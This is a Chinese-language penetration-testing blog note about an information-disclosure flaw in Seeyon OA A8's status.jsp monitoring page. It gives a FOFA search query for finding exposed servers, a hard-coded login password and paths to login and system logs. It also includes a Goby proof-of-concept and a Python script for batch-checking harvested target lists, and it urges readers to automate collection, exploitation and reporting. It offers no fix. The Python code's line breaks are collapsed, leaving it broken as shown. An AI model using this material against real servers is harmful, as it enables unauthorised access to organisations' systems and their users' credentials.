「渗透笔记」致远OA A8 status.jsp 信息泄露POC批量验证

前言部分

在本节中，我会分两部分来说明致远OA A8 status.jsp 信息泄露的验证问题，其实就是两种验证方式吧，都一样，都是批量验证，主要如下所示：

1. 通过Python脚本进行批量验证，但是前提是你可以收集到所有致远OA A8的地址（URL）。我一般使用两款工具进行收集。
   • FOFA：https://fofa.info/
   • 鹰图：https://hunter.qianxin.com/
2. 通过Goby进行批量验证。

啊，我个人感觉，其实这一部分可以做成自动化攻击的，当然我知道某些大厂内部已经有很多自动化攻击工具了，毕竟我始终是个小白，其实这一部分的自动化，无非就是：收集资产—验证漏洞—利用漏洞—形成报告。不管是用python，还是go，还是ruby，还是java，就是个时间问题吧。有时间、有兴趣的小伙伴可以钻研一下。

正文部分

简介

漏洞名称：致远OA A8 status.jsp 信息泄露

漏洞详情

在致远OA A8-m系统中，存在一个安全漏洞，该漏洞导致状态监控页面的信息保护不当。由于这一问题，潜在的攻击者能够访问并提取关键信息，如网站的具体路径和用户的登录名等敏感数据。这些信息的泄露可能为攻击者提供了进一步对系统进行攻击的机会。

漏洞复现

第一步、在FOFA中使用title="A8-m"查找资产。
第二步、判断是否存在对应页面：/seeyon/management/status.jsp
第三步、使用密码WLCCYBD@SEEYON登录。

复现结果：

通过下面的URL可以获得敏感信息：

/seeyon/management/status.jsp
/seeyon/logs/login.log
/seeyon/logs/v3x.log

批量验证

Goby 批量验证 POC

package exploitsimport ("git.gobies.org/goby/goscanner/goutils"
)func init() {expJson := `{"Name": "致远OA A8 status.jsp 信息泄露","Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息，包括日志信息、服务器状态信息等。经验证存在的页面，使用WLCCYBD@SEEYON作为密码可以登录。<br></p>","Product": "致远OA","Homepage": "https://www.seeyon.com/","DisclosureDate": "2024-03-22","PostTime": "2024-03-22","Author": "","FofaQuery": "title=\"A8-m\"","GobyQuery": "title=\"A8-m\"","Level": "1","Impact": "","Recommendation": "","References": [],"Is0day": false,"HasExp": false,"ExpParams": [{"name": "","type": "input","value": "","show": ""}],"ExpTips": {"Type": "","Content": ""},"ScanSteps": ["AND",{"Request": {"method": "GET","uri": "/seeyon/management/index.jsp","follow_redirect": true,"header": {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Accept-Encoding": "gzip, deflate","Accept-Language": "zh-CN,zh;q=0.9","Cache-Control": "max-age=0","Connection": "keep-alive","Cookie": "JSESSIONID=5E2354B7A7C884BA110199C3A2B803A2","Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Mobile Safari/537.36"},"data_type": "text","data": ""},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "Management Monitor","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "Password","bz": ""}]},"SetVariable": []}],"ExploitSteps": ["AND",{"Request": {"method": "GET","uri": "/test.php","follow_redirect": true,"header": {},"data_type": "text","data": ""},"ResponseTest": {"type": "group","operation": "AND","checks": [{"type": "item","variable": "$code","operation": "==","value": "200","bz": ""},{"type": "item","variable": "$body","operation": "contains","value": "test","bz": ""}]},"SetVariable": []}],"Tags": ["信息泄露"],"VulType": ["信息泄露"],"CVEIDs": [""],"CNNVD": [""],"CNVD": [""],"CVSSScore": "","Translation": {"CN": {"Name": "致远OA A8 status.jsp 信息泄露","Product": "致远OA","Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息，包括日志信息、服务器状态信息等。经验证存在的页面，使用WLCCYBD@SEEYON作为密码可以登录。<br></p>","Recommendation": "","Impact": "","VulType": ["信息泄露"],"Tags": ["信息泄露"]},"EN": {"Name": "致远OA A8 status.jsp 信息泄露","Product": "致远OA","Description": "<p>利用该漏洞可读取致远OA A8 中的敏感信息，包括日志信息、服务器状态信息等。经验证存在的页面，使用<span style=\"color: rgb(58, 55, 55); font-size: 16px;\">WLCCYBD@SEEYON作为密码可以登录。</span><br></p>","Recommendation": "","Impact": "","VulType": ["Information Disclosure"],"Tags": ["Information Disclosure"]}},"AttackSurfaces": {"Application": null,"Support": null,"Service": null,"System": null,"Hardware": null}
}`ExpManager.AddExploit(NewExploit(goutils.GetFileName(),expJson,nil,nil,))
}

验证过程：

通过Goby的Fofa插件，批量导入。

然后直接选择POC进行验证。

验证结果：

Python 批量验证 POC

import requests# 假设我们有一个包含URLs的文本文件 verify.txt
input_file_path = r'E:\UserData\Desktop\verify.txt'
output_file_path = r'E:\UserData\Desktop\result.txt'# 用于存储符合条件的URLs
valid_urls = []# 尝试读取输入文件并处理每个URL
try:with open(input_file_path, 'r') as input_file:for line in input_file:url = line.strip()  # 去除空白字符# 检查URL是否有协议前缀，如果没有则添加http或httpsif not url.lower().startswith(('http://', 'https://')):url = 'http://' + url# 构建完整的URLfull_url = f"{url}/seeyon/management/status.jsp"# 发送请求try:response = requests.get(full_url, timeout=10)  # 设置超时时间# 检查响应状态码和内容if response.status_code == 200:if "Management Monitor" in response.text and "Password" in response.text:valid_urls.append(full_url)print(f"Valid URL found: {full_url}")except requests.exceptions.RequestException as e:print(f"Error accessing {full_url}: {e}")# 将有效的URLs写入输出文件with open(output_file_path, 'w') as output_file:for url in valid_urls:output_file.write(url + '\n')print("Process completed. Valid URLs have been saved to result.txt.")except FileNotFoundError:print(f"The file {input_file_path} was not found.")
except IOError as e:print(f"An I/O error occurred: {e}")

这个脚本会将存在预期结果的内容保存在一个result.txt中，没有做完善，感兴趣的话可以自己修改一下。

我测试发现结果没跑全，因为https 的问题吧？反正有 goby 在，我也懒得去鼓秋代码了。